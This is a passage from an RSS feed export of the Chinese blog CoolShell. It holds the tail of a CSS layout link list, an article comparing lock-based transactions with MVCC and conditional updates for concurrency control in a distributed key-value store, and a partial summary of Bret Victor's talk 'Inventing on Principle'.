decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts5.jpg\" alt=\"\" width=\"450\" height=\"365\" /></p>\n<p>33-<a href=\"http://silverbackapp.com/\">Silverbackapp</a></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts12.jpg\" alt=\"\" width=\"450\" height=\"325\" /></p>\n<p>34-<a href=\"http://www.os.ca/accueil.php\">OS communications informatiques</a></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts13.jpg\" alt=\"\" width=\"450\" height=\"310\" /></p>\n<p>35-<a href=\"http://rockatee.com/\">Rockatee</a></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts14.jpg\" alt=\"\" width=\"450\" height=\"310\" /></p>\n<p>36-<a href=\"http://www.darrenhoyt.com/\">Darrenhoyt</a></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts15.jpg\" alt=\"\" width=\"450\" height=\"225\" /></p>\n<p>37-<a href=\"http://www.makebetterwebsites.com/\">Makebetterwebsites</a></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts16.jpg\" alt=\"\" width=\"450\" height=\"250\" /></p>\n<p>38-<a href=\"http://elitetheme.com/\">Elitetheme</a></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts17.jpg\" alt=\"\" width=\"450\" height=\"250\" /></p>\n<p>39-<a href=\"http://www.studio7designs.com/\">Studio7designs</a></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts18.jpg\" alt=\"\" width=\"450\" height=\"250\" /></p>\n<p>40-<a href=\"http://brightcreative.com/\">Brightcreative</a></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts19.jpg\" alt=\"\" width=\"450\" height=\"300\" /></p>\n<p><em>(全文完)</em><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg\" alt=\"浏览器的渲染原理简介\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_title\">浏览器的渲染原理简介</a></li><li ><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"一些有意思的贴子和工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_title\">一些有意思的贴子和工具</a></li><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/biolab-150x150.jpg\" alt=\"一些非常有意思的杂项资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_title\">一些非常有意思的杂项资源</a></li><li ><a href=\"https://coolshell.cn/articles/1949.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg\" alt=\"Web中的省略号\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1949.html\" class=\"wp_rp_title\">Web中的省略号</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6840.html\">CSS 布局:40个教程、技巧、例子和最佳实践</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/6840.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>31</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>多版本并发控制(MVCC)在分布式系统中的应用</title>\n\t\t<link>https://coolshell.cn/articles/6790.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/6790.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Todd]]></dc:creator>\n\t\t<pubDate>Tue, 13 Mar 2012 00:36:53 +0000</pubDate>\n\t\t\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[系统架构]]></category>\n\t\t<category><![CDATA[cas]]></category>\n\t\t<category><![CDATA[Design]]></category>\n\t\t<category><![CDATA[lock-free]]></category>\n\t\t<category><![CDATA[mvcc]]></category>\n\t\t<category><![CDATA[Performance]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=6790</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>【感谢 Todd投递本文 – 微博帐号：weidagang 】 问题 最近项目中遇到了一个分布式系统的并发控制问题。该问题可以抽象为：某分布式系统由一个数据中心...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/6790.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/6790.html\">多版本并发控制(MVCC)在分布式系统中的应用</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>【<span style=\"color: #cc0000;\">感谢 Todd投递本文 – 微博帐号：</span><a title=\"weidagang\" href=\"http://weibo.com/weidagang\" target=\"_blank\">weidagang</a> 】</p>\n<h4>问题</h4>\n<p>最近项目中遇到了一个分布式系统的并发控制问题。该问题可以抽象为：某分布式系统由一个数据中心D和若干业务处理中心L1，L2 &#8230; Ln组成；D本质上是一个key-value存储，它对外提供基于HTTP协议的CRUD操作接口。L的业务逻辑可以抽象为下面3个步骤：</p>\n<ol>\n<li>read: 根据keySet {k1, &#8230; kn}从D获取keyValueSet {k1:v1, &#8230; kn:vn}</li>\n<li>do: 根据keyValueSet进行业务处理，得到需要更新的数据集keyValueSet&#8217; {k1&#8242;:v1&#8242;, &#8230; km&#8217;:vm&#8217;} (<strong>注</strong>：读取的keySet和更新的keySet&#8217;可能不同)</li>\n<li>update: 把keyValueSet&#8217;更新到D （<strong>注</strong>：D保证在一次调用更新多个key的原子性）</li>\n</ol>\n<p>在没有事务支持的情况下，多个L进行并发处理可能会导致数据一致性问题。比如，考虑L1和L2的如下执行顺序：</p>\n<ol>\n<li>L1从D读取key:123对应的值100</li>\n<li>L2从D读取key:123对应的100</li>\n<li>L1将key:123更新为100 + 1</li>\n<li>L2将key:123更新为100 + 2</li>\n</ol>\n<p>如果L1和L2串行执行，key:123对应的值将为103，但上面并发执行中L1的执行效果完全被L2所覆盖，实际key:123所对应的值变成了102。</p>\n<p><span id=\"more-6790\"></span></p>\n<h4>解决方案1：基于锁的事务</h4>\n<p>为了让L的处理具有可串行化特性(Serializability)，一种最直接的解决方案就是考虑为D加上基于锁的简单事务。让L在进行业务处理前先锁定D，完成以后释放锁。另外，为了防止持有锁的L由于某种原因长时间未提交事务，D还需要具有超时机制，当L尝试提交一个已超时的事务时会得到一个错误响应。</p>\n<p><img decoding=\"async\" src=\"http://images.cnblogs.com/cnblogs_com/weidagang2046/362318/o_conditional_update_1.PNG\" alt=\"\" /><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-16991 aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/0915536496-0.png\" alt=\"0915536496-0\" width=\"769\" height=\"749\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/03/0915536496-0.png 769w, https://coolshell.cn/wp-content/uploads/2012/03/0915536496-0-300x292.png 300w\" sizes=\"(max-width: 769px) 100vw, 769px\" /></p>\n<p>本方案的优点是实现简单，缺点是锁定了整个数据集，粒度太大；时间上包含了L的整个处理时间，跨度太长。虽然我们可以考虑把锁定粒度降低到数据项级别，按key进行锁定，但这又会带来其他的问题。由于更新的keySet&#8217;可能是事先不确定的，所以可能无法在开始事务时锁定所有的key；如果分阶段来锁定需要的key，又可能出现死锁(Deadlock)问题。另外，按key锁定在有锁争用的情况下并不能解决锁定时间太长的问题。所以，按key锁定仍然存在重要的不足之处。</p>\n<h4>解决方案2：多版本并发控制</h4>\n<p>为了实现可串行化，同时避免锁机制存在的各种问题，我们可以采用基于多版本并发控制（Multiversion concurrency control，MVCC）思想的无锁事务机制。人们一般把基于锁的并发控制机制称成为悲观机制，而把MVCC机制称为乐观机制。这是因为锁机制是一种预防性的，读会阻塞写，写也会阻塞读，当锁定粒度较大，时间较长时并发性能就不会太好；而MVCC是一种后验性的，读不阻塞写，写也不阻塞读，等到提交的时候才检验是否有冲突，由于没有锁，所以读写不会相互阻塞，从而大大提升了并发性能。我们可以借用源代码版本控制来理解MVCC，每个人都可以自由地阅读和修改本地的代码，相互之间不会阻塞，只在提交的时候版本控制器会检查冲突，并提示merge。目前，Oracle、PostgreSQL和MySQL都已支持基于MVCC的并发机制，但具体实现各有不同。</p>\n<p>MVCC的一种简单实现是基于CAS（Compare-and-swap）思想的有条件更新（Conditional Update）。普通的update参数只包含了一个keyValueSet&#8217;，Conditional Update在此基础上加上了一组更新条件conditionSet { &#8230; data[keyx]=valuex, &#8230; }，即只有在D满足更新条件的情况下才将数据更新为keyValueSet&#8217;；否则，返回错误信息。这样，L就形成了如下图所示的Try/Conditional Update/(Try again)的处理模式：</p>\n<p><img decoding=\"async\" src=\"http://images.cnblogs.com/cnblogs_com/weidagang2046/362318/o_mvcc_2.png\" alt=\"\" /><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter  wp-image-16989\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/0915535U3-1.png\" alt=\"0915535U3-1\" width=\"746\" height=\"483\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/03/0915535U3-1.png 826w, https://coolshell.cn/wp-content/uploads/2012/03/0915535U3-1-300x194.png 300w\" sizes=\"(max-width: 746px) 100vw, 746px\" /></p>\n<p>虽然对单个L来讲不能保证每次都成功更新，但从整个系统来看，总是有任务能够顺利进行。这种方案利用Conditional Update避免了大粒度和长时间的锁定，当各个业务之间资源争用不大的情况下，并发性能很好。不过，由于Conditional Update需要更多的参数，如果condition中value的长度很长，那么每次网络传送的数据量就会比较大，从而导致性能下降。特别是当需要更新的keyValueSet&#8217;很小，而condition很大时，就显得非常不经济。</p>\n<p>为了避免condition太大所带来的性能问题，可以为每条数据项增加一个int型的版本号字段，由D维护该版本号，每次数据有更新就增加版本号；L在进行Conditional Update时，通过版本号取代具体的值。</p>\n<p><img decoding=\"async\" src=\"http://images.cnblogs.com/cnblogs_com/weidagang2046/362318/o_mvcc_3.png\" alt=\"\" /><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter  wp-image-16990\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/0915533324-2.png\" alt=\"0915533324-2\" width=\"706\" height=\"265\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/03/0915533324-2.png 912w, https://coolshell.cn/wp-content/uploads/2012/03/0915533324-2-300x113.png 300w\" sizes=\"(max-width: 706px) 100vw, 706px\" /></p>\n<p>另一个问题是上面的解决方案假设了D是可以支持Conditional Update的；那么，如果D是一个不支持Conditional Update的第三方的key-value存储怎么办呢？这时，我们可以在L和D之间增加一个P作为代理，所有的CRUD操作都必须经过P，让P来进行条件检查，而实际的数据操作放在D。这种方式实现了条件检查和数据操作的分离，但同时降低了性能，需要在P中增加cache，提升性能。由于P是D的唯一客户端；所以，P的cache管理是非常简单的，不必像多客户端情形担心缓存的失效。不过，实际上，据我所知redis和Amazon SimpleDB都已经有了Conditional Update的支持。</p>\n<h4>悲观锁和MVCC对比</h4>\n<p>上面介绍了悲观锁和MVCC的基本原理，但是对于它们分别适用于什么场合，不同的场合下两种机制优劣具体表现在什么地方还不是很清楚。这里我就对一些典型的应用场景进行简单的分析。需要注意的是下面的分析不针对分布式，悲观锁和MVCC两种机制在分布式系统、单数据库系统、甚至到内存变量各个层次都存在。</p>\n<p>### 场景1：对读的响应速度要求高</p>\n<p>有一类系统更新特别频繁，并且对读的响应速度要求很高，如股票交易系统。在悲观锁机制下，写会阻塞读，那么当有写操作时，读操作的响应速度就会受到影响；而MVCC不存在读写锁，读操作是不受任何阻塞的，所以读的响应速度会更快更稳定。</p>\n<p>### 场景2：读远多于写</p>\n<p>对于许多系统来讲，读操作的比例往往远大于写操作，特别是某些海量并发读的系统。在悲观锁机制下，当有写操作占用锁，就会有大量的读操作被阻塞，影响并发性能；而MVCC可以保持比较高且稳定的读并发能力。</p>\n<p>### 场景3：写操作冲突频繁</p>\n<p>如果系统中写操作的比例很高，且冲突频繁，这时就需要仔细评估。假设两个有冲突的业务L1和L2，它们在单独执行是分别耗时t1，t2。在悲观锁机制下，它们的总时间大约等于串行执行的时间：</p>\n<p>T = t1 + t2</p>\n<p>而在MVCC下，假设L1在L2之前更新，L2需要retry一次，它们的总时间大约等于L2执行两次的时间（这里假设L2的两次执行耗时相等，更好的情况是，如果第1次能缓存下部分有效结果，第二次执行L2耗时是可能减小的）：</p>\n<p>T&#8217; = 2 * t2</p>\n<p>这时关键是要评估retry的代价，如果retry的代价很低，比如，对某个计数器递增，又或者第二次执行可以比第一次快很多，这时采用MVCC机制就比较适合。反之，如果retry的代价很大，比如，报表统计运算需要算几小时甚至一天那就应该采用锁机制避免retry。</p>\n<p>从上面的分析，我们可以简单的得出这样的结论：对读的响应速度和并发性要求比较高的场景适合MVCC；而retry代价越大的场景越适合悲观锁机制。</p>\n<h4>总结</h4>\n<p>本文介绍了一种基于多版本并发控制（MVCC）思想的Conditional Update解决分布式系统并发控制问题的方法。和基于悲观锁的方法相比，该方法避免了大粒度和长时间的锁定，能更好地适应对读的响应速度和并发性要求高的场景。</p>\n<h4>参考</h4>\n<ul>\n<li><a href=\"http://en.wikipedia.org/wiki/Serializability\">Wikipedia &#8211; Serializability</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Compare-and-swap\">Wikipedia &#8211; Compare-and-swap</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Multiversion_concurrency_control\">Wikipedia &#8211; Multiversion concurrency control</a></li>\n<li><a href=\"http://blogs.msdn.com/b/oldnewthing/archive/2011/04/12/10152296.aspx\">Lock-free algorithms: The try/commit/(try again) pattern</a></li>\n<li><a href=\"http://aws.amazon.com/simpledb/faqs/#Does_Amazon_SimpleDB_support_transactions\">Amazon SimpleDB FAQs &#8211; Does Amazon SimpleDB support transactions?</a></li>\n<li><a href=\"http://redis.io/topics/transactions\">redis &#8211; Transactions</a></li>\n<li><a href=\"http://simpledbm.googlecode.com/files/mvcc-survey-1.0.pdf\">A Quick Survey of MultiVersion Concurrency Algorithms</a></li>\n<li><a href=\"http://www.cnblogs.com/jobs/archive/2007/11/13/957446.html\">非阻塞算法思想在关系数据库应用程序开发中的使用</a></li>\n</ul>\n<h4>友情推荐</h4>\n<p>本文的图是用我自己开发的<a href=\"http://textdiagram.sinaapp.com\">TextDiagram</a>工具画的，欢迎试用！如果您喜欢，请推荐给朋友，谢谢！<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"从LongAdder看更高效的无锁实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_title\">从LongAdder看更高效的无锁实现</a></li><li ><a href=\"https://coolshell.cn/articles/10910.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/01/trade-off-150x150.jpg\" alt=\"分布式系统的事务处理\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10910.html\" class=\"wp_rp_title\">分布式系统的事务处理</a></li><li ><a href=\"https://coolshell.cn/articles/6470.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/01/12306-150x150.png\" alt=\"由12306.cn谈谈网站性能技术 \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6470.html\" class=\"wp_rp_title\">由12306.cn谈谈网站性能技术 </a></li><li ><a href=\"https://coolshell.cn/articles/22242.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/05/etcd-150x150.png\" alt=\"ETCD的内存问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22242.html\" class=\"wp_rp_title\">ETCD的内存问题</a></li><li ><a href=\"https://coolshell.cn/articles/21672.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png\" alt=\"我做系统架构的一些原则\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21672.html\" class=\"wp_rp_title\">我做系统架构的一些原则</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6790.html\">多版本并发控制(MVCC)在分布式系统中的应用</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/6790.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>98</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Bret Victor &#8211; Inventing on Principle</title>\n\t\t<link>https://coolshell.cn/articles/6775.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/6775.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 09 Mar 2012 00:38:48 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术新闻]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[Apple]]></category>\n\t\t<category><![CDATA[Bret Victor]]></category>\n\t\t<category><![CDATA[Design]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=6775</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Bret Victor（简历） &#8211; 苹果公司的UI交互设计师（大神级的人），在 CUSEC（Canadian University Software...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/6775.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/6775.html\">Bret Victor – Inventing on Principle</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"http://worrydream.com\" target=\"_blank\">Bret Victor</a>（<a href=\"http://worrydream.com/#!/cv/bret_victor_resume.pdf\" target=\"_blank\">简历</a>） &#8211; 苹果公司的UI交互设计师（大神级的人），在 <a href=\"http://cusec.net\" target=\"_blank\">CUSEC</a>（<em>Canadian University Software Engineering Conference</em>） 上做了一个题为 “Inventing on Principle” 的演讲（<a href=\"http://vimeo.com/36579366\" target=\"_blank\">vimeo视频链接</a>），这个演讲中展示了五个示例：</p>\n<ul>\n<li>用程序画树。如何把程序绘图变成实时的，如何把程序和图映射起来。</li>\n<li>游戏调试。在实时编程的基础上，可以更容易的让你看到程序参数对游戏的调整，甚至对游戏过程的可视化调试。</li>\n<li>算法调试。在写二分查找算法时可以实时看到程序的执行过程。边写边看到。</li>\n<li>电路图。可以实时地看到电路图中各个部件的对1/0信号的处理。</li>\n<li>动画。一种比flash制作动画更NB 的方法。</li>\n</ul>\n<p>下面是优酷上的视频——你一定会被示例中的那些编程工具所震撼！</p>\n<p><center><embed src=\"http://player.youku.com/player.php/sid/XMzUyOTIyNzg0/v.swf\" allowFullScreen=\"true\" quality=\"high\" width=\"480\" height=\"400\" align=\"middle\" allowScriptAccess=\"always\" type=\"application/x-shockwave-flash\"></embed></center></p>\n<p>不过，Bret并不是在说什么编程，也不是在说什么技术，他是在说 How to live your life。</p>\n<p><span id=\"more-6775\"></span></p>\n<p>他认为，在我们的生活当中，我们听到太多的诸如：“跟随你的喜好”、“跟随你的兴趣”，“跟随你的热情”之类的东西，但他更认为，更应该是“跟随一个原则 follow you principle”，他认为真正能让你把事做正确的不是你的喜好，不是你的兴趣，也不是热情，而一个做事的原则。在这个演讲中Bret介绍了他自己的原则和他人的原则，供你参考和并找到你的原则从而live in your life。</p>\n<p>Bret的原则是，他觉得人总是会有很多想法，而把这些想法变成现实是一件非常重要的事，也是最难的事。他觉得当我们在写代码实现一个东西的时候，在实现一个游戏，算法，电路，动画的时候，人很难把自己脑海里的东西映射成现实的东西，因为一个想法变成现实，需要反反复复的调整，如果看不见，就没办法调整。而我们在写好程序，需要编译程序，运行程序，才能看到结果，之后，有些东西发现并不满意，需要做调整，于是需要猜着去改一下程序，再编译运行，再看结果，于是，这个调整的过程相当令人痛苦，因为代码里的那些数字，我需要一点一点地去试，调大调小，总是不能调到我们想要的结果，从而让人无法正常思考。所以，他的原则是——<strong>创造者需要对自己的创造的东西有实时的反馈</strong>。于是出现了视频中的实时编程的那些示例。（其实，这个东西和Firebug很相似，我还记得以前和朋友说过，如果写C/C++程序也能有像Firebug的这种工具就好了，现在果然离实现不远了）</p>\n<p>Bret说起他的动机的时候，他说，他把这个事当成了一种责任而不是一种机会。他说，这就好像我们听到的：审查机制，性别歧视，环境破坏，违反人权等这些问题，绝大多数人是不会把这些事当成一个机会的，而那些有责任感的人会把解决这些问题当作一种责任。同样，当他看到我们被工具或环境限制住了我们创造东西的过程时，他并不觉得这是一个可以发明更好的产品的机会，甚至这是开创自己事业的机会，或是对社会做贡献的机会。他认为想法相当的宝贵，如果一个好的想法推动不了的时候，他会很难受，就像看到一场灾难一样，他觉得，让大家的想法能够顺的进行，这是他的一个责任。</p>\n<p>后面他，举到了很多人的例子，</p>\n<p style=\"padding-left: 30px;\"><a href=\"http://en.wikipedia.org/wiki/Larry_Tesler\" target=\"_blank\">Larry Tesler</a> &#8211; 著名的计算机科学家，前苹果的首席科学家，图形界面的创造者（在“<a title=\"SteveY对Amazon和Google平台的长篇大论\" href=\"https://coolshell.cn/articles/5701.html\" target=\"_blank\">SteveY对Amazon和Google平台的长篇大论</a>”中提到过他）。他在70年代看到人们在使用电脑文本编辑器时，需要按某个键进入某种模式（Mode），然后才能输入（VI）。他觉得这样操作起来很复杂，也很不舒服，所以，他为自己设定了一个原则——“Don&#8217;t Mode Me In”，他做了很多尝试，做了一个叫Gypsy的文档编辑器，可以通过拖拽移动字符，而且他还发明了复制粘贴，对于一个没有使用过电脑的人来说，只需半个小时的训练就可以输入文字了。Larry把消除模式设置成了自己的原则或责任。他的个人主页是：http://www.nomodes.com，他的Twitter是 @nomodes，甚至他的车牌也是nomodes.</p>\n<p style=\"padding-left: 30px;\"><a href=\"http://en.wikipedia.org/wiki/Elizabeth_Cady_Stanton\" target=\"_blank\">Elizabeth Cady Stanton</a>，100年前的一个美国的女权主义者，当时，她主张妇女的各项权益，比如参与投票，所有人都以为他疯了，今天看来，她是对的，她消除了性别歧视。这和Larry 很相似，他们都看到了一种文化上的错误，并要预见到了未来的样子，他们都为自己设定了一个原则或是信仰，而去为之奋斗。</p>\n<p style=\"padding-left: 30px;\"><a href=\"http://en.wikipedia.org/wiki/Doug_Engelbart\" target=\"_blank\">Doug Engelbart</a>，美国发明家，瑞典人和挪威人后裔。最广为人知的是他发明了鼠标，另外他的小组是人机交互的先锋，开发了超文本系统、网络计算机，以及图形用户界面的先驱；并致力于倡导运用计算机和网络，来协同解决世界上日益增长的紧急而又复杂的问题。</p>\n<p style=\"padding-left: 30px;\"><a href=\"http://en.wikipedia.org/wiki/Alan_Kay\" target=\"_blank\">Alan Kay</a>，美国计算机科学家，在面向对象编程和窗口式图形用户界面方面作出了先驱性贡献。2003年获得图灵奖。目前担任Viewpoints研究院院长，加州大学伯克利分校兼职教授。曾任Apple公司院士，惠普公司资深院士。他有一句尽人皆知的名言——预测未来的最好办法就是创造未来。他相信如果小孩能够熟练掌握电脑，如果写程序是和读书写字一样成为基础知识，那么人们就掌握了一种新的方式去思考，新的方式去了解世界。他所有发明的东西都基于他自己的原则或信条。</p>\n<p style=\"padding-left: 30px;\"><a href=\"http://en.wikipedia.org/wiki/Richard_Stallman\" target=\"_blank\">Richard Stallman</a>，是美国自由软件运动的精神领袖、GNU计划以及自由软件基金会（Free Software Foundation）的创立者。作为一个著名的黑客，他的主要成就包括Emacs及后来的GNU Emacs，GNU C 编译器及GDB 调试器。他所写作的GNU通用公共许可证（GNU GPL）是世上最广为采用的自由软件许可证，为copyleft观念开拓出一条崭新的道路。他的原则，是软件必须是自由的，他认为软件的自由是关乎道义上的对错的，关系到人类的自由。他没车没房没结婚没孩子，也不用手机，但他有非常忠实自由的信条和责任感。</p>\n<p>Bret通过这些例子继续强调——他并不是要大家样做，他只是给大家一个选择。你可以成为一个非常优秀的工程师，非常熟练地掌握了一些技术，你也可以为这个社会做很多贡献，这是成为一个工匠的路，也是大多数人走的路。不过旁边还有一条路，值得去走，那就是解决问题的路，这条路往一头走是创业者，往另一头走是学者，但你需要找到一个你自己的原则，你可能需要很长时间才能找到你的原则，Bret说他花了10年才搞清楚他的原则是什么。</p>\n<p>个人以为，Bret所说这个原则也好，信条也好，是一种对自己创造力有引导性质的原则和信条，并不是那些已有的原则或信条，否则那只不过是在跟从了，所以，这些原则和信条应该是新的东西，是自己悟出来的东西，这样的原则和信条会导致你有一种责任感向正确的方向去创造。当然，这些原则也不是那些非常笼统和模糊的东西，比如，要创业开公司，要设计出有更好的用户体验的东西，要创造有很多用户使用的产品，或是有更好的收入什么的。其应该是明确的，有指导性的，就像Bret他自己的信条一样——“创造者需要即时的反馈”，就像他演示的那样，当你在一行一行修改你的代码的时候，你可以立即看到代码运行的过程和效果。这个原则可以指导着他要对一切达不到这个原则的东西负责，并引导着他知道应该做什么，不应该做什么，从而去创造新的东西，解决问题。</p>\n<p>当然，世界是多元的，每个人都有每